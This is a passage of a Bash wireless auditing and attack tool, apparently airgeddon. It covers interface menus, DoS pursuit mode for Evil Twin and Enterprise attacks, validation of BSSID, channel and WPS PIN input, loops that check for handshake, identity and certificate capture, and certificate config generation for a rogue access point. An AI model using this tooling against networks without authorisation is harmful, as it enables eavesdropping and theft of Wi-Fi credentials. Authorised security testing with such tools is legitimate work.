					vendor_and_device=$(printf "%s" "${ethtool_output}" | grep "bus-info" | cut -f 3 -d ":" | sed 's/^ //')
					if [[ -n "${2}" ]] && [[ "${2}" = "read_only" ]]; then
						requested_chipset=$(lspci | grep "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}")
					else
						chipset=$(lspci | grep "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}")
					fi
				fi
			fi
		fi
	elif [[ -f /sys/class/net/${1}/device/idVendor ]] && [[ -f /sys/class/net/${1}/device/idProduct ]]; then
		vendor_and_device=$(cat "/sys/class/net/${1}/device/idVendor"):$(cat "/sys/class/net/${1}/device/idProduct")
		if hash lsusb 2> /dev/null; then
			if [[ -n "${2}" ]] && [[ "${2}" = "read_only" ]]; then
				requested_chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}")
			else
				chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}")
			fi
		fi
	fi
}

#Manage and validate the prerequisites for DoS Pursuit mode integrated on Evil Twin and Enterprise attacks
function dos_pursuit_mode_et_handler() {

	debug_print

	ask_yesno 505 "no"
	if [ "${yesno}" = "y" ]; then
		dos_pursuit_mode=1

		if [ "${et_dos_attack}" = "Auth DoS" ]; then
			echo
			language_strings "${language}" 508 "yellow"
			language_strings "${language}" 115 "read"
		fi

		if select_secondary_interface "dos_pursuit_mode"; then

			if [[ -n "${channel}" ]] && [[ -z "${target_band_id}" ]]; then
				set_target_band_id_from_channel
			fi

			if [[ "${dos_pursuit_mode}" -eq 1 && ( ("${target_band_id}" = "${band_6ghz}" && "${interfaces_band_info['secondary_wifi_interface','6Ghz_allowed']}" -eq 0) || ("${target_band_id}" = "${band_5ghz}" && "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0) ) ]]; then
				echo
				language_strings "${language}" 394 "red"
				language_strings "${language}" 115 "read"

				if [ -n "${enterprise_mode}" ]; then
					return_to_enterprise_main_menu=1
				else
					return_to_et_main_menu=1
				fi
				return 1
			fi

			if ! check_monitor_enabled "${secondary_wifi_interface}"; then
				echo
				language_strings "${language}" 14 "yellow"
				echo
				language_strings "${language}" 513 "blue"
				language_strings "${language}" 115 "read"
				echo
				if ! monitor_option "${secondary_wifi_interface}"; then
					if [ -n "${enterprise_mode}" ]; then
						return_to_enterprise_main_menu=1
					else
						return_to_et_main_menu=1
					fi
					return 1
				else
					echo
					language_strings "${language}" 34 "yellow"
					language_strings "${language}" 115 "read"
				fi
			else
				echo
				language_strings "${language}" 34 "yellow"
				language_strings "${language}" 115 "read"
			fi
		else
			return 1
		fi
	fi

	return 0
}

#Secondary interface selection menu for Evil Twin, Enterprise attacks DoS pursuit mode and others
function select_secondary_interface() {

	debug_print

	if [ "${return_to_et_main_menu}" -eq 1 ]; then
		return 1
	fi

	if [ "${return_to_enterprise_main_menu}" -eq 1 ]; then
		return 1
	fi

	if [ "${return_to_wpa3_main_menu}" -eq 1 ]; then
		return 1
	fi

	clear
	if [ -n "${enterprise_mode}" ]; then
		current_menu="enterprise_attacks_menu"
		case ${enterprise_mode} in
			"smooth")
				language_strings "${language}" 522 "title"
			;;
			"noisy")
				language_strings "${language}" 523 "title"
			;;
		esac
	elif [ "${FUNCNAME[6]}" = "hookable_wpa3_attacks_menu" ]; then
		current_menu="wpa3_attacks_menu"
	elif [[ -z "${enterprise_mode}" ]] && [[ -z "${et_mode}" ]]; then
		current_menu="dos_attacks_menu"
	elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then
		current_menu="evil_twin_attacks_menu"
		case ${et_mode} in
			"et_onlyap")
				language_strings "${language}" 270 "title"
			;;
			"et_sniffing")
				language_strings "${language}" 291 "title"
			;;
			"et_sniffing_sslstrip2")
				language_strings "${language}" 292 "title"
			;;
			"et_sniffing_sslstrip2_beef")
				language_strings "${language}" 397 "title"
			;;
			"et_captive_portal")
				language_strings "${language}" 293 "title"
			;;
		esac
	fi

	if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then
		readarray -t secondary_ifaces < <(iw dev | grep "Interface" | awk '{print $2}' | grep "${interface}" -v)
	elif [ "${1}" = "internet" ]; then
		if [ -n "${secondary_wifi_interface}" ]; then
			readarray -t secondary_ifaces < <(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep -E "^lo$" -v | grep "${interface}" -v | grep "${secondary_wifi_interface}" -v)
		else
			readarray -t secondary_ifaces < <(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep -E "^lo$" -v | grep "${interface}" -v)
		fi
	fi

	if [ ${#secondary_ifaces[@]} -eq 1 ]; then
		if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then
			secondary_wifi_interface="${secondary_ifaces[0]}"
			secondary_phy_interface=$(physical_interface_finder "${secondary_wifi_interface}")
			check_interface_supported_bands "${secondary_phy_interface}" "secondary_wifi_interface"
		elif [ "${1}" = "internet" ]; then
			internet_interface="${secondary_ifaces[0]}"
		fi

		echo
		language_strings "${language}" 662 "yellow"
		language_strings "${language}" 115 "read"
		return 0
	fi

	option_counter=0
	for item in "${secondary_ifaces[@]}"; do
		if [ "${option_counter}" -eq 0 ]; then
			if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then
				echo
				language_strings "${language}" 511 "green"
			elif [ "${1}" = "internet" ]; then
				echo
				language_strings "${language}" 279 "green"
			fi
			print_simple_separator
			if [ -n "${enterprise_mode}" ]; then
				language_strings "${language}" 521
			elif [ "${FUNCNAME[6]}" = "hookable_wpa3_attacks_menu" ]; then
				language_strings "${language}" 776
			else
				language_strings "${language}" 266
			fi
			print_simple_separator
		fi

		option_counter=$((option_counter + 1))
		if [ ${#option_counter} -eq 1 ]; then
			spaceiface="  "
		else
			spaceiface=" "
		fi
		set_chipset "${item}"
		echo -ne "${option_counter}.${spaceiface}${item} "
		if [ -z "${chipset}" ]; then
			language_strings "${language}" 245 "blue"
		else
			if [ "${is_rtl_language}" -eq 1 ]; then
				echo -e "${blue_color}// ${normal_color}${chipset} ${yellow_color}:Chipset${normal_color}"
			else
				echo -e "${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}"
			fi
		fi
	done

	if [ "${option_counter}" -eq 0 ]; then
		if [ -n "${enterprise_mode}" ]; then
			return_to_enterprise_main_menu=1
		elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then
			return_to_et_main_menu=1
			return_to_et_main_menu_from_beef=1
		fi

		echo
		if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then
			language_strings "${language}" 510 "red"
		elif [ "${1}" = "internet" ]; then
			language_strings "${language}" 280 "red"
		fi
		language_strings "${language}" 115 "read"
		return 1
	fi

	if [ ${option_counter: -1} -eq 9 ]; then
		spaceiface+=" "
	fi
	print_hint

	read -rp "> " secondary_iface
	if [ "${secondary_iface}" -eq 0 ] 2> /dev/null; then
		if [ -n "${enterprise_mode}" ]; then
			return_to_enterprise_main_menu=1
		elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then
			return_to_et_main_menu=1
			return_to_et_main_menu_from_beef=1
		fi
		return 1
	elif [[ ! ${secondary_iface} =~ ^[[:digit:]]+$ ]] || ((secondary_iface < 1 || secondary_iface > option_counter)); then
		if [ "${1}" = "dos_pursuit_mode" ]; then
			invalid_secondary_iface_selected "dos_pursuit_mode"
		elif [ "${1}" = "secondary_interface" ]; then
			invalid_secondary_iface_selected "secondary_interface"
		else
			invalid_secondary_iface_selected "internet"
		fi
	else
		option_counter2=0
		for item2 in "${secondary_ifaces[@]}"; do
			option_counter2=$((option_counter2 + 1))
			if [ "${secondary_iface}" = "${option_counter2}" ]; then
				if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then
					secondary_wifi_interface=${item2}
					secondary_phy_interface=$(physical_interface_finder "${secondary_wifi_interface}")
					check_interface_supported_bands "${secondary_phy_interface}" "secondary_wifi_interface"
				elif [ "${1}" = "internet" ]; then
					internet_interface=${item2}
				fi
				break
			fi
		done
		return 0
	fi
}

#Interface selection menu
function select_interface() {

	debug_print

	local interface_menu_band
	local interface_menu_standard
	local menu_phy_interface
	local prev_standard_80211n
	local prev_standard_80211ac
	local prev_standard_80211ax
	local prev_standard_80211be
	local prev_wifi_standard_short
	local prev_6ghz_allowed

	clear
	language_strings "${language}" 88 "title"
	current_menu="select_interface_menu"
	language_strings "${language}" 24 "green"
	print_simple_separator
	ifaces=$(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep -E "^lo$" -v)
	option_counter=0
	for item in ${ifaces}; do
		option_counter=$((option_counter + 1))
		if [ ${#option_counter} -eq 1 ]; then
			spaceiface="  "
		else
			spaceiface=" "
		fi
		echo -ne "${option_counter}.${spaceiface}${item} "
		set_chipset "${item}"
		if [ "${chipset}" = "" ]; then
			language_strings "${language}" 245 "blue"
		else
			interface_menu_band=""
			interface_menu_standard=""
			if check_interface_wifi "${item}"; then
				interface_menu_band+="${blue_color}// ${pink_color}"
				get_5ghz_band_info_from_phy_interface "$(physical_interface_finder "${item}")"
				case "$?" in
					"1")
						interface_menu_band+="${band_24ghz}"
					;;
					*)
						interface_menu_band+="${band_24ghz}, ${band_5ghz}"
					;;
				esac
				get_6ghz_band_info_from_phy_interface "$(physical_interface_finder "${item}")"
				if [ "$?" -ne 1 ]; then
					interface_menu_band+=", ${band_6ghz}"
				fi

				menu_phy_interface=$(physical_interface_finder "${item}")
				if [ -n "${menu_phy_interface}" ]; then
					prev_standard_80211n=${standard_80211n}
					prev_standard_80211ac=${standard_80211ac}
					prev_standard_80211ax=${standard_80211ax}
					prev_standard_80211be=${standard_80211be}
					prev_wifi_standard_short=${wifi_standard_short}
					prev_6ghz_allowed=${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}

					get_6ghz_band_info_from_phy_interface "${menu_phy_interface}"
					if [ "$?" -eq 0 ]; then
						interfaces_band_info['main_wifi_interface','6Ghz_allowed']=1
					else
						interfaces_band_info['main_wifi_interface','6Ghz_allowed']=0
					fi
					check_supported_standards "${menu_phy_interface}"
					interface_menu_standard="${wifi_standard_short}"

					standard_80211n=${prev_standard_80211n}
					standard_80211ac=${prev_standard_80211ac}
					standard_80211ax=${prev_standard_80211ax}
					standard_80211be=${prev_standard_80211be}
					wifi_standard_short=${prev_wifi_standard_short}
					interfaces_band_info['main_wifi_interface','6Ghz_allowed']=${prev_6ghz_allowed}
				fi
			fi

			if [ "${is_rtl_language}" -eq 1 ]; then
				echo -e "${interface_menu_band} ${brown_color}${interface_menu_standard}${normal_color} ${blue_color}// ${normal_color}${chipset} ${yellow_color}:Chipset${normal_color}"
			else
				echo -e "${interface_menu_band} ${brown_color}${interface_menu_standard}${normal_color} ${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}"
			fi
		fi
	done
	print_hint

	read -rp "> " iface
	if [[ ! ${iface} =~ ^[[:digit:]]+$ ]] || ((iface < 1 || iface > option_counter)); then
		invalid_iface_selected
	else
		option_counter2=0
		for item2 in ${ifaces}; do
			option_counter2=$((option_counter2 + 1))
			if [ "${iface}" = "${option_counter2}" ]; then
				interface=${item2}
				phy_interface=$(physical_interface_finder "${interface}")
				interface_mac=$(ip link show "${interface}" | awk '/ether/ {print $2}')
				if [ -n "${phy_interface}" ]; then
					check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
					check_supported_standards "${phy_interface}"
					if ! check_vif_support; then
						adapter_vif_support=0
					else
						adapter_vif_support=1
					fi
					check_interface_wifi_longname "${interface}"
				else
					adapter_vif_support=0
					standard_80211n=0
					standard_80211ac=0
					standard_80211ax=0
					standard_80211be=0
					wifi_standard_short=""
				fi
				break
			fi
		done
	fi
}

#Read the user input on yes/no questions
function read_yesno() {

	debug_print

	echo
	language_strings "${language}" "${1}" "green"
	read -rp "> " yesno
}

#Validate the input on yes/no questions
function ask_yesno() {

	debug_print

	if [ -z "${2}" ]; then
		local regexp="^[YN]$|^YES$|^NO$"
		visual_choice="[y/n]"
	else
		local regexp="^[YN]$|^YES$|^NO$|^$"
		default_choice="${2}"
		if [[ ${default_choice^^} =~ ^[Y]$|^YES$ ]]; then
			default_choice="y"
			visual_choice="[Y/n]"
		else
			default_choice="n"
			visual_choice="[y/N]"
		fi
	fi

	yesno="null"
	while [[ ! ${yesno^^} =~ ${regexp} ]]; do
		read_yesno "${1}"
	done

	case ${yesno^^} in
		"Y"|"YES")
			yesno="y"
		;;
		"N"|"NO")
			yesno="n"
		;;
		"")
			yesno="${default_choice}"
		;;
	esac
}

#Read the user input on channel questions
function read_channel() {

	debug_print

	echo
	if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then
		language_strings "${language}" 25 "green"
	elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ]; then
		language_strings "${language}" 838 "green"
	else
		language_strings "${language}" 517 "green"
	fi

	if [ "${1}" = "wps" ]; then
		read -rp "> " wps_channel
	else
		read -rp "> " channel
	fi
}

#Validate the input on channel questions
function ask_channel() {

	debug_print

	local regexp
	if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then
		regexp="^${valid_channels_24_ghz_regexp}$"
	elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ]; then
		regexp="^${valid_channels_24_5_and_6_ghz_regexp}$"
	else
		regexp="^${valid_channels_24_and_5_ghz_regexp}$"
	fi

	if [ "${1}" = "wps" ]; then
		if [[ -n "${wps_channel}" ]] && [[ "${wps_channel}" -gt 14 ]]; then
			set_wps_target_band_id_from_channel
			if ! check_target_band_supported_by_interface "main_wifi_interface" "wps"; then
				return 1
			fi
		fi

		while [[ ! ${wps_channel} =~ ${regexp} ]]; do
			read_channel "wps"
		done

		set_wps_target_band_id_from_channel

		echo
		language_strings "${language}" 365 "blue"
		echo
		language_strings "${language}" 835 "blue"
	else
		if [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]]; then
			set_target_band_id_from_channel
			if ! check_target_band_supported_by_interface "main_wifi_interface"; then
				return 1
			fi
		fi

		local channel_was_valid=0
		if [[ ${channel} =~ ${regexp} ]]; then
			channel_was_valid=1
		fi

		while [[ ! ${channel} =~ ${regexp} ]]; do
			read_channel
		done

		if [[ "${channel_was_valid}" -eq 0 ]] || [[ -z "${target_band_id}" ]]; then
			set_target_band_id_from_channel
		fi

		echo
		language_strings "${language}" 26 "blue"
		echo
		language_strings "${language}" 834 "blue"
	fi

	return 0
}

#Set target band id based on selected channel
function set_target_band_id_from_channel() {

	debug_print

	target_band_id=""
	local pure_wpa3_target=0

	if [[ -z "${channel}" ]] || [[ ! "${channel}" =~ ^[0-9]+$ ]]; then
		return
	fi

	if [[ -n "${selected_target_network}" ]] && [[ "${types[${selected_target_network}]}" =~ ^[[:blank:]](SAE)$ ]]; then
		pure_wpa3_target=1
	fi

	if [ "${channel}" -le 14 ]; then
		if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ "${scan_6ghz_enabled}" != "0" ] && [[ "${channel}" =~ ^(1|5|9|13)$ ]] && [ "${pure_wpa3_target}" -eq 1 ]; then
			ask_yesno 831 "no"
			if [ "${yesno}" = "y" ]; then
				target_band_id="${band_6ghz}"
			else
				target_band_id="${band_24ghz}"
			fi
		else
			target_band_id="${band_24ghz}"
		fi
	elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ "${scan_6ghz_enabled}" != "0" ] && contains_element "${channel}" "${channels_5ghz_list[@]}" && contains_element "${channel}" "${channels_6ghz_list[@]}" && [ "${pure_wpa3_target}" -eq 1 ]; then
		ask_yesno 839 "no"
		if [ "${yesno}" = "y" ]; then
			target_band_id="${band_6ghz}"
		else
			target_band_id="${band_5ghz}"
		fi
	elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ "${scan_6ghz_enabled}" != "0" ] && [[ "${channel}" =~ ^${valid_channels_6_ghz_regexp}$ ]] && [ "${pure_wpa3_target}" -eq 1 ]; then
		target_band_id="${band_6ghz}"
	else
		target_band_id="${band_5ghz}"
	fi
}

#Set WPS target band id based on selected channel
function set_wps_target_band_id_from_channel() {

	debug_print

	wps_target_band_id=""

	if [[ -z "${wps_channel}" ]] || [[ ! "${wps_channel}" =~ ^[0-9]+$ ]]; then
		return
	fi

	if [ "${wps_channel}" -le 14 ]; then
		if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [[ "${wps_channel}" =~ ^(1|5|9|13)$ ]]; then
			ask_yesno 831 "no"
			if [ "${yesno}" = "y" ]; then
				wps_target_band_id="${band_6ghz}"
			else
				wps_target_band_id="${band_24ghz}"
			fi
		else
			wps_target_band_id="${band_24ghz}"
		fi
	elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && contains_element "${wps_channel}" "${channels_5ghz_list[@]}" && contains_element "${wps_channel}" "${channels_6ghz_list[@]}"; then
		ask_yesno 839 "no"
		if [ "${yesno}" = "y" ]; then
			wps_target_band_id="${band_6ghz}"
		else
			wps_target_band_id="${band_5ghz}"
		fi
	elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [[ "${wps_channel}" =~ ^${valid_channels_6_ghz_regexp}$ ]]; then
		wps_target_band_id="${band_6ghz}"
	else
		wps_target_band_id="${band_5ghz}"
	fi
}

#Read the user input on asleap challenge
function read_challenge() {

	debug_print

	echo
	language_strings "${language}" 553 "green"
	read -rp "> " enterprise_asleap_challenge
}

#Read the user input on asleap response
function read_response() {

	debug_print

	echo
	language_strings "${language}" 554 "green"
	read -rp "> " enterprise_asleap_response
}

#Read the user input on bssid questions
function read_bssid() {

	debug_print

	echo
	language_strings "${language}" 27 "green"
	if [ "${1}" = "wps" ]; then
		read -rp "> " wps_bssid
	else
		read -rp "> " bssid
	fi
}

#Validate the input on bssid questions
function ask_bssid() {

	debug_print

	local regexp="^([[:xdigit:]]{2}:){5}[[:xdigit:]]{2}$"

	if [ "${1}" = "wps" ]; then
		if [ -z "${wps_bssid}" ]; then
			ask_yesno 439 "no"
			if [ "${yesno}" = "n" ]; then
				return 1
			else
				enterprise_network_selected=0
				personal_network_selected=1
				set_personal_enterprise_text
			fi
		fi

		while true; do
			while [[ ! ${wps_bssid} =~ ${regexp} ]]; do
				read_bssid "wps"
			done
			local first_byte_hex="${wps_bssid%%:*}"
			local first_byte=$((16#$first_byte_hex))
			if (( first_byte & 1 )); then
				echo
				language_strings "${language}" 773 "red"
				read_bssid "wps"
				continue
			fi
			break
		done
		echo
		language_strings "${language}" 364 "blue"
	else
		if [ -z "${bssid}" ]; then
			ask_yesno 439 "no"
			if [ "${yesno}" = "n" ]; then
				return 1
			else
				if [ -n "${enterprise_mode}" ]; then
					enterprise_network_selected=1
					personal_network_selected=0
				else
					enterprise_network_selected=0
					personal_network_selected=1
				fi
				set_personal_enterprise_text
			fi
		fi

		while true; do
			while [[ ! ${bssid} =~ ${regexp} ]]; do
				read_bssid
			done
			local first_byte_hex="${bssid%%:*}"
			local first_byte=$((16#$first_byte_hex))
			if (( first_byte & 1 )); then
				echo
				language_strings "${language}" 773 "red"
				read_bssid
				continue
			fi
			break
		done
		echo
		language_strings "${language}" 28 "blue"
	fi

	return 0
}

#Read the user input on essid questions
function read_essid() {

	debug_print

	echo
	language_strings "${language}" 29 "green"
	read -rp "> " essid
}

#Check if selected essid is hidden and offer a change
function check_hidden_essid() {

	debug_print

	if [ "${1}" = "wps" ]; then
		if [[ -z "${wps_essid}" ]] || [[ "${wps_essid}" = "(Hidden Network)" ]]; then
			ask_yesno 30 "no"
			if [ "${yesno}" = "y" ]; then
				while [[ -z "${wps_essid}" ]] || [[ "${wps_essid}" = "(Hidden Network)" ]]; do
					read_essid
				done

				echo
				language_strings "${language}" 718 "blue"
			fi
		fi
	else
		if [[ -z "${essid}" ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
			if [ "${2}" = "verify" ]; then
				ask_yesno 30 "no"
				if [ "${yesno}" = "y" ]; then
					while [[ -z "${essid}" ]] || [[ "${essid}" = "(Hidden Network)" ]]; do
						read_essid
					done
				else
					return 1
				fi
			else
				while [[ -z "${essid}" ]] || [[ "${essid}" = "(Hidden Network)" ]]; do
					read_essid
				done
			fi
			echo
			language_strings "${language}" 31 "blue"
		fi
	fi
}

#Validate the input on essid questions
function ask_essid() {

	debug_print

	if [ "${1}" = "verify" ]; then
		if ! check_hidden_essid "normal" "verify"; then
			return 1
		fi
	else
		if ! check_hidden_essid "normal" "noverify"; then
			return 1
		fi
	fi
}

#Read the user input on custom pin questions
function read_custom_pin() {

	debug_print

	echo
	language_strings "${language}" 363 "green"
	read -rp "> " custom_pin
}

#Validate the input on custom pin questions
function ask_custom_pin() {

	debug_print

	local regexp="^[0-9]{8}$"
	custom_pin=""
	while [[ ! ${custom_pin} =~ ${regexp} ]]; do
		read_custom_pin
	done

	echo
	language_strings "${language}" 362 "blue"
}

#Read the user input on timeout questions
function read_timeout() {

	debug_print

	echo
	case ${1} in
		"wps_standard")
			min_max_timeout="10-100"
			timeout_shown="${timeout_secs_per_pin}"
		;;
		"wps_pixiedust")
			min_max_timeout="25-2400"
			timeout_shown="${timeout_secs_per_pixiedust}"
		;;
		"capture_handshake_decloak")
			min_max_timeout="10-100"
			timeout_shown="${timeout_capture_handshake_decloak}"
		;;
		"capture_pmkid")
			min_max_timeout="10-100"
			timeout_shown="${timeout_capture_pmkid}"
		;;
		"capture_identities")
			min_max_timeout="10-100"
			timeout_shown="${timeout_capture_identities}"
		;;
		"certificates_analysis")
			min_max_timeout="10-100"
			timeout_shown="${timeout_certificates_analysis}"
		;;
		"wpa3_downgrade")
			min_max_timeout="10-100"
			timeout_shown="${timeout_wpa3_downgrade}"
		;;
	esac

	language_strings "${language}" 393 "green"
	read -rp "> " timeout
}

#Validate the user input for timeouts
function ask_timeout() {

	debug_print

	case ${1} in
		"wps_standard")
			local regexp="^[1-9][0-9]$|^100$|^$"
		;;
		"wps_pixiedust")
			local regexp="^2[5-9]$|^[3-9][0-9]$|^[1-9][0-9]{2}$|^1[0-9]{3}$|^2[0-3][0-9]{2}$|^2400$|^$"
		;;
		"capture_handshake_decloak")
			local regexp="^[1-9][0-9]$|^100$|^$"
		;;
		"capture_pmkid")
			local regexp="^[1-9][0-9]$|^100$|^$"
		;;
		"capture_identities")
			local regexp="^[1-9][0-9]$|^100$|^$"
		;;
		"certificates_analysis")
			local regexp="^[1-9][0-9]$|^100$|^$"
		;;
		"wpa3_downgrade")
			local regexp="^[1-9][0-9]$|^100$|^$"
		;;
	esac

	timeout=0
	while [[ ! ${timeout} =~ ${regexp} ]]; do
		read_timeout "${1}"
	done

	if [ "${timeout}" = "" ]; then
		case ${1} in
			"wps_standard")
				timeout="${timeout_secs_per_pin}"
			;;
			"wps_pixiedust")
				timeout="${timeout_secs_per_pixiedust}"
			;;
			"capture_handshake_decloak")
				timeout="${timeout_capture_handshake_decloak}"
			;;
			"capture_pmkid")
				timeout="${timeout_capture_pmkid}"
			;;
			"capture_identities")
				timeout="${timeout_capture_identities}"
			;;
			"certificates_analysis")
				timeout="${timeout_certificates_analysis}"
			;;
			"wpa3_downgrade")
				timeout="${timeout_wpa3_downgrade}"
			;;
		esac
	fi

	echo
	case ${1} in
		"wps_standard")
			timeout_secs_per_pin="${timeout}"
		;;
		"wps_pixiedust")
			timeout_secs_per_pixiedust="${timeout}"
		;;
		"capture_handshake_decloak")
			timeout_capture_handshake_decloak="${timeout}"
		;;
		"capture_pmkid")
			timeout_capture_pmkid="${timeout}"
		;;
		"capture_identities")
			timeout_capture_identities="${timeout}"
		;;
		"certificates_analysis")
			timeout_certificates_analysis="${timeout}"
		;;
		"wpa3_downgrade")
			timeout_wpa3_downgrade="${timeout}"
		;;
	esac

	language_strings "${language}" 391 "blue"
}

#Handle the proccess of checking enterprise certificates capture
function enterprise_certificates_check() {

	debug_print

	declare -ga certificates_array=()

	local time_counter=0
	while true; do
		sleep 5
		check_certificates_in_capture_file

		time_counter=$((time_counter + 5))
		if [ "${time_counter}" -ge "${timeout_certificates_analysis}" ]; then
			break
		fi
	done

	kill "${processidenterpriseidentitiescertificatescapture}" &> /dev/null
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		tmux kill-window -t "${session_name}:Certificates Analysis"
	fi
}

#Handle the proccess of checking enterprise identities capture
function enterprise_identities_check() {

	debug_print

	declare -ga identities_array=()

	local time_counter=0
	while true; do
		sleep 5
		check_identities_in_capture_file

		time_counter=$((time_counter + 5))
		if [ "${time_counter}" -ge "${timeout_capture_identities}" ]; then
			break
		fi
	done

	kill "${processidenterpriseidentitiescertificatescapture}" &> /dev/null
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		tmux kill-window -t "${session_name}:Capturing Identities"
	fi
}

#Handle the proccess of checking decloak capture
function decloak_check() {

	debug_print

	local time_counter=0
	while true; do
		sleep 5
		if check_essid_in_capture_file; then
			break
		fi

		time_counter=$((time_counter + 5))
		if [ "${time_counter}" -ge "${timeout_capture_handshake_decloak}" ]; then
			break
		fi
	done

	kill "${processiddecloak}" &> /dev/null
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		tmux kill-window -t "${session_name}:Decloaking"
	fi
}

#Handle the proccess of checking handshake capture
function handshake_capture_check() {

	debug_print

	local time_counter=0
	while true; do
		sleep 5
		if check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "silent" "only_handshake"; then
			break
		fi

		time_counter=$((time_counter + 5))
		if [ "${time_counter}" -ge "${timeout_capture_handshake_decloak}" ]; then
			break
		fi
	done

	kill "${processidcapture}" &> /dev/null
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		tmux kill-window -t "${session_name}:Capturing Handshake"
	fi
}

#Generate the needed config files for certificates creation
#shellcheck disable=SC2016
function create_certificates_config_files() {

	debug_print

	rm -rf "${tmpdir}${certsdir}" > /dev/null 2>&1
	mkdir "${tmpdir}${certsdir}" > /dev/null 2>&1

	{
	echo -e "[ ca ]"
	echo -e "default_ca = CA_default\n"
	echo -e "[ CA_default ]"
	echo -e "dir = ${tmpdir}${certsdir::-1}"
	echo -e 'certs = $dir'
	echo -e 'crl_dir = $dir/crl'
	echo -e 'database = $dir/index.txt'
	echo -e 'new_certs_dir = $dir'
	echo -e 'certificate = $dir/server.pem'
	echo -e 'serial = $dir/serial'
	echo -e 'crl = $dir/crl.pem'
	echo -e 'private_key = $dir/server.key'
	echo -e 'RANDFILE = $dir/.rand'
	echo -e "name_opt = ca_default"
	echo -e "cert_opt = ca_default"
	echo -e "default_days = 3650"
	echo -e "default_crl_days = 30"
	echo -e "default_md = sha256"
	echo -e "preserve = no"
	echo -e "policy = policy_match\n"
	echo -e "[ policy_match ]"
	echo -e "countryName = match"
	echo -e "stateOrProvinceName = match"
	echo -e "organizationName = match"
	echo -e "organizationalUnitName = optional"
	echo -e "commonName = supplied"
	echo -e "emailAddress = optional\n"
	echo -e "[ policy_anything ]"
	echo -e "countryName = optional"
	echo -e "stateOrProvinceName = optional"
	echo -e "localityName = optional"
	echo -e "organizationName = optional"
	echo -e "organizationalUnitName = optional"
	echo -e "commonName = supplied"
	echo -e "emailAddress = optional\n"
	echo -e "[ req ]"
	echo -e "prompt = no"
	echo -e "distinguished_name = server"
	echo -e "default_bits = 2048"
	echo -e "input_password = ${certspass}"
	echo -e "output_password = ${certspass}\n"
	echo -e "[server]"
	echo -e "countryName = ${custom_certificates_country}"
	echo -e "stateOrProvinceName = ${custom_certificates_state}"
	echo -e "localityName = ${custom_certificates_locale}"
	echo -e "organizationName = ${custom_certificates_organization}"
	echo -e "emailAddress = ${custom_certificates_email}"
	echo -e "commonName = \"${custom_certificates_cn}\""
	} >> "${tmpdir}${certsdir}server.cnf"

	{
	echo -e "[ ca ]"
	echo -e "default_ca = CA_default\n"
	echo -e "[ CA_default ]"
	echo -e "dir = ${tmpdir}${certsdir::-1}"
	echo -e 'certs = $dir'
	echo -e 'crl_dir = $dir/crl'
	echo -e 'database = $dir/index.txt'
	echo -e 'new_certs_dir = $dir'
	echo -e 'certificate = $dir/ca.pem'
	echo -e 'serial = $dir/serial'
	echo -e 'crl = $dir/crl.pem'
	echo -e 'private_key = $dir/ca.key'
	echo -e 'RANDFILE = $dir/.rand'
	echo -e "name_opt = ca_default"
	echo -e "cert_opt = ca_default"
	echo -e "default_days = 3650"
	echo -e "default_crl_days = 30"
	echo -e "default_md = sha256"
	echo -e "preserve = no"
	echo -e "policy = policy_match\n"
	echo -e "[ policy_match ]"
	echo -e "countryName = match"
	echo -e "stateOrProvinceName = match"
	echo -e "organizationName= match"
	echo -e "organizationalUnitName = optional"
	echo -e "commonName = supplied"
	echo -e "emailAddress = optional\n"
	echo -e "[ policy_anything ]"
	echo -e "countryName = optional"
	echo -e "stateOrProvinceName = optional"
	echo -e "localityName = optional"
	echo -e "organizationName = optional"
	echo -e "organizationalUnitName = optional"
	echo -e "commonName = supplied"
	echo -e "emailAddress = optional\n"
	echo -e "[ req ]"
	echo -e "prompt = no"
	echo -e "distinguished_name = certificate_authority"
	echo -e "default_bits = 2048"
	echo -e "input_password = ${certspass}"
	echo -e "output_password = ${certspass}"
